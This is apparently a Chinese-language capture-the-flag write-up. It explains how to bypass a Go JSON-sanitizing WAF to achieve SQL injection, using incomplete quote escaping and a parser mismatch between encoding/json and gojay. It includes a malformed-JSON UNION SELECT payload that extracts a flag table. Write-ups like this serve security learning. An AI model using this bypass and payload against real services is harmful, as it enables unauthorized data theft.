ChadCPT
SQL注入,有两解
1.
WAF将'
和"
转义,以replace形式将'
替换为\'
,转义不完全,可以分别使用\'
和\"
代替
2.
注意以下代码:
waf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| func trySanitizeJson(r *http.Request) (bool, []byte) { var j any var buf bytes.Buffer tee := io.TeeReader(r.Body, &buf) defer func() { r.Body.Close() r.Body = io.NopCloser(&buf) }() if err := json.NewDecoder(tee).Decode(&j); err != nil { return false, nil }
j = safeJsonStringValue(j) newJsonBody, err := json.Marshal(j) if err != nil { return false, nil }
return true, newJsonBody }
func main() { ph := os.Getenv("PROXY_HOST") u, err := url.Parse(ph) if err != nil { log.Fatal(err) }
rp := httputil.NewSingleHostReverseProxy(u) http.HandleFunc("/", func(writer http.ResponseWriter, request *http.Request) { ct := request.Header.Get("Content-Type") if ct == "application/json" { san, newJsonBody := trySanitizeJson(request) if san { request.Body = io.NopCloser(bytes.NewReader(newJsonBody)) request.ContentLength = int64(len(newJsonBody)) } } rp.ServeHTTP(writer, request) }) log.Println(http.ListenAndServe(":5001", nil)) }
|
在waf中,如果json解码失败waf会代理请求,以此为突破口
继续查看源代码,发现waf使用的是encoding/json
而app使用的是github.com/francoispqt/gojay
,对于json的处理不同
可以构造这样的json:
1 2 3 4 5
| { "maxTokens": 123, "q": "asd'OR 1=2 UNION SELECT flag FROM flags -- ", asd }
|
这个json不会被waf原生的库解码,会进入代理被gojay解码,完成sql注入
GigaChadGPT
还是SQL,上一题升级版,WAF升级为白名单
只考虑json解码,同上